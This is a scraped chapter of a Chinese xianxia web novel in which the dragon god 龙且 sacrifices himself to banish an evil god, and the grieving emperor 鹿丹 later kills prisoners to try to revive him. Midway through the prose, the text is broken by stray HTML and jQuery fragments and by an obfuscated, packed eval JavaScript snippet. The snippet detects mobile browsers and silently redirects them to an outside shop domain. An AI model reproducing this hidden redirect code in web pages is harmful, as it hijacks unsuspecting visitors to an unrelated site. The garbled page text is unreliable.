文趣网 > 其他小说 > 苍斋Ⅱ > 7. 第 7 章
    远在翡翠湖打坐的龙且,突然觉得周身一阵轻松,束缚他的噬血咒居然解了,咒术已解只有两种可能,一种是他以自身之力冲开咒印,而另一种就是下咒之人身死,咒术自然就解了。

    知道鹿丹可能已经死了,龙且心里一阵酸涩,这个孩子的执念太深,他本来想好好教导一番,谁知……

    龙且叹了口气,准备出谷,去见鹿丹最后一面,怎么说那也是他从小看到大的孩子。

    谁知他刚踏出翡翠谷,就发现天玑乱了,不断的大雨,江河倾倒,海水倒灌,山下好几个村庄都被冲毁了。龙且身为龙神,天生就有调水渡水之力,可这些水源他却动不了,那只能说明天玑来了外来的邪神,而这邪神正准备举一国之力吞噬天玑。

    这几天龙且忙的脚不沾地,到处拯救被洪水冲走的百姓,拎起一个还有下一个,他不眠不休的拎了好几个夜,重新踏回到土地上他还觉得双腿发飘。

    他抹了一把脸上的雨水,邪神只有在戾气怨气极深的人身上才能作威作福,要是被寄身的那个人不答应,邪神也是无法入身的,所以到底是谁现在成了邪神的寄体。

    龙且眯着眼睛,雨水瞬间模糊了他的眼,他四处巡视着,发现最浓最化不开的怨气出自皇宫,龙且立刻赶回皇宫。

    刚走到大殿之上,就看到穿着一袭玄色龙袍的鹿丹,龙且不可置信的向前走了两步:鹿丹还活着,那给自己下咒的又是谁?

    很快龙且就没心思思考这件事了,因为他看见鹿丹的眼睛了浮现出千丝万缕的怨气,那怨气正在吞噬这他的理智,“你的眼睛……”

    鹿丹冷哼一声,凉飕飕的说:“我的眼睛不是你亲手挖的吗?”

    龙且向前一步,低下了头缓缓说道:“是吾辈欠你一双眼睛,但是鹿丹你知不知道寄生在你身上的是邪神。”

    “那有怎样?”鹿丹喊道,“至少他不会负我欠我,而你不信我,还挖了我一双眼睛。”

    龙且退后一步缓缓叹息道:“是吾辈对不住你,现在吾辈便还与你……”

    纯净的,清凉的龙神之力遍布整个天玑国,享受这龙神之力的润泽,天玑很快就恢复到了以往的生机,漂泊的大雨也渐渐停了,洪水都退回至江河湖海。

    鹿丹深吸一口气,只觉得胸口中一直堵着的那团邪火慢慢的被清凉的灵力抚平浇灭,在睁开眼,他那双灰褐色的眸子依旧明亮,只是……

    “龙且……”鹿丹目呲欲裂的大喊道。

    龙且以自身之力献祭自己除掉邪神,换取了天玑的太平,看着龙且渐渐变得透明的身体,鹿丹相碰也不敢碰,他怕自己一个用力,龙且就碎了。

    鹿丹的眼里不断的涌出大滴大滴的泪水,一遍遍忏悔的说道:“我错了,我错了,龙且我错了,你不要死。”

    龙且露出一抹微笑,看着鹿丹的脸,缓缓说道:“吾辈从未将你视作鹿鸣,你待吾辈不好,他好。”说完,龙且心满意足的闭上了眼,在鹿丹眼前消失了。

    “所以你们两个人就这么被一个小小的鹿衡算计了?”顾棪木咔嚓咬了口黄杏,鲜甜的汁水在嘴里爆开,吃着零嘴听着八卦,无疑是人间一大幸事。

    龙且眯着眼笑道:“是呢!吾辈就是被一个小小的凡人算计了呢。”

    顾棪木翘着二郎腿,倚在一棵树上,漫不经心的说道:“现在鹿丹以为你死了,他疯了,到处搜罗人当祭品,就是为了复活你可怎么办。”

    龙且也露出一副落寞的神情,摊开两只手道:“可吾辈现在身体虚弱,根本就离不开着翡翠湖,你说吾辈现在能怎么办呢?”虽然龙且的话是在问顾棪木,但他却对着白荨眨了眨眼。

    白荨从树上跳了下来,拍了拍手,细长的柳叶眼露出了独属于生意人的精光,“想要去见鹿丹也不是不行……”龙且飞到白荨身边,一脸惊喜的说道:“小十一,吾辈就知道你最善良了,你一定会帮吾辈的是不是?”

    白荨露出一抹微笑,伸出素白的手掌在龙神大人面前展开,“可以是可以,但是……”白荨向龙神大人眨眨眼,那意思不言而喻。

    龙且叹了一口气,在袖子里掏出一颗圆润的珠子,在白荨额头上一点,说道:“你啊你,简直和林青栀一个模子刻出来的。”

    白荨也不生气,笑着收下了那颗珠子,道:“有师叔必有师侄嘛!”

    “小十一,你准备怎么带吾辈去见鹿丹?”现在鹿丹身上的煞气太重了,以龙且现在的神魂恐怕还没有靠近皇城就灰飞烟灭了。

    白荨伸出手摆出了一个三,自信的说道:“交给我。”

    顾棪木觉得自己手里的油纸伞似有千斤重,毕竟现在那把清水碧色泛着光华的伞里可装了一个国家的守护神,偏偏这守护神还脆弱的很,一不小心就能魂飞魄散。

    顾棪木捧着拿把伞,感觉腿都不是自己的了,生怕磕着碰着。他朝翡翠湖努努嘴,抽着眼睛,白荨瞟他一眼,问道:“干嘛?”

    顾棪木高举手中的油纸伞,指着翡翠湖说道:“一会儿咱俩要从这游上去,他怎么办?不会被淹死吗?”

    白荨眼角抽了抽,“他是龙神?”

    “龙神不怕水淹?”

    “龙神是河神。”

    躲在水碧乾元伞里的龙且笑得抖一抖的,顾棪木只觉得伞在一阵阵的抽搐,他“啪”的一下打在了伞上,斥道:“笑什么笑,信不信本大爷不管你了。”

    水碧乾元伞这才恢复平静。

    顾棪木呆愣愣的问道:“这伞会被水流冲坏吗?”

    白荨道:“不会。”

    眼见顾棪木还要大问特问,喋喋不休的样子。白荨赶紧从袖子里拿出刚刚从龙且那打劫来的避水珠,往湖里一扔,只见湖水迅速的往两边聚拢,给白荨劈开了一条路。

    顾棪木看的目瞪口呆,白荨还真是在哪都不忘赚钱呀!这珠子也太好了吧,顾棪木看的都有些心动了,比皇甫云送的那个破木头强的不知道多少倍。

    白荨若知道顾棪木心中所想,恨不得给他一个爆栗,那往生木可是多少钱都换不来的无价之宝,关键时刻救命用的,被顾棪木说成了一块破木头。

    碧绿的湖水形成两道高高的水幕,水幕好似流动的丝绸,美的如梦似幻,顾棪木的脑袋不停旋转,都不知道往哪看的好。

    百草依旧坐在树上一点也不担心白荨他们,她老神在在的晃动着脚丫子,且毫不客气的摘着被龙且龙神之力润泽的灵果,大人帮龙神办事,她薅几个灵果怎么了?</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893404|212802||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    龙且此时要知道她所想,怕是会再说一句:有其主必有其仆。

    看见白荨从水里走出来了,百草立刻从树上蹦下来,像只翩翩起舞的花蝴蝶一样飘到白荨身边,大眼睛里满是崇拜,在百草眼里,白荨大人就是无所不能的。

    “大人!”白荨摸了摸百草的头,百草立刻将头往白荨手里贴贴。

    顾棪木在一边翻了个白眼,撇撇嘴,学着百草的语气叫道:“大人~”

    百草立刻竖起了圆滚滚的杏眼,掐着顾棪木的耳朵,凶巴巴的说道:“自大狂,你刚刚是不是学我呢?”

    顾棪木歪着头,顾及着怀里的龙且,并没有还手,嘴里忙叫道:“没有,没有,百草女侠快松手。”

    “哼!”我们百草女侠这才神气的一仰头,松开了顾棪木的耳朵。

    顾棪木揉着耳朵小声嘀咕:“这么凶,也不怕以后嫁不出去。”

    可他忘了,百草是妖,这里除了他一个“凡人”其余人耳力都极佳。百草回过身,挥舞着拳头,做着鬼脸道:“本姑娘才不需要嫁人,本姑娘只要跟着大人就好了。”说着,欢欢喜喜的蹦到白荨身边,挽住了白荨的胳膊。

    顾棪木看了一眼抱在怀里的伞,塌下了肩膀,算了!也没指望一个都能被凡人算计的龙神会理解他。

    皇城里的戾气浓郁的仿佛斩不开的乱麻,鹿丹站在祭台上俯视众生,已经没有死囚可以献祭了,龙且的“身体”那只狐狸已经给他重塑完整了,如今只差灵魂——鹿丹捏着手里的锁灵囊,目光温柔的说:“很快,我就能见到你了。”

    当日龙且与邪神同归于尽后,鹿丹跪在地上拼拼凑凑了好久,才搜集到一点点龙且的魂魄,少的可怜,这些年他把龙且的魂魄一直放在锁灵囊里温养着,就是希望有一天能复活龙且。

    突然有一天,一只臭气熏天的狐狸找到了他,告诉鹿丹可以帮他复活龙且,前提是鹿丹的给狐狸提供可以供狐狸食用的心脏。

    只要能复活龙且,无论什么代价他都不在乎,于是鹿丹与狐狸达成了协议,狐狸暂时居住在鹿丹的身体里。

    这些年,天玑国的百姓草木皆兵,都能达到夜不闭户的程度,因为百姓们都知道他们的大王律法极严,只要犯点小错就会被抓紧大牢,而被抓紧去的人据说就再也没能出来过。

    鹿丹一开始给小狐狸提供的都是要判处死刑的囚犯,可哪有那么多犯死刑的囚犯呢?于是,鹿丹加大了律法的严苛,凡事犯错不问缘由一并押入大牢,这也是为何皇城的戾气那么浓的原因了。

    死刑囚犯本身就是罪大恶极之徒,他们死后戾气自然不散,更别说还有被鹿丹冤死的,甚至罪不至死的人了……

    如今死牢都空了,看着已经被小狐狸做好的唯妙唯俏的躯壳,鹿丹慢慢的把“龙且”圈在了怀里,可是那双藐视众生的琥珀色眸子始终没有睁开。

    小狐狸和他说,只要他献祭了他自己,龙且就可以活过来了。

    鹿丹信了,此刻他穿着玄色的帝王服制,衣服上绣着五爪金龙,宽袍大袖的站在了铜炉前,猎猎的风把他的衣袍吹的咕咕作响像是要阻挡他前进的脚步,可鹿丹依旧一步一个台阶的缓缓向铜炉台走去,谁都无法阻止他,老天也不能!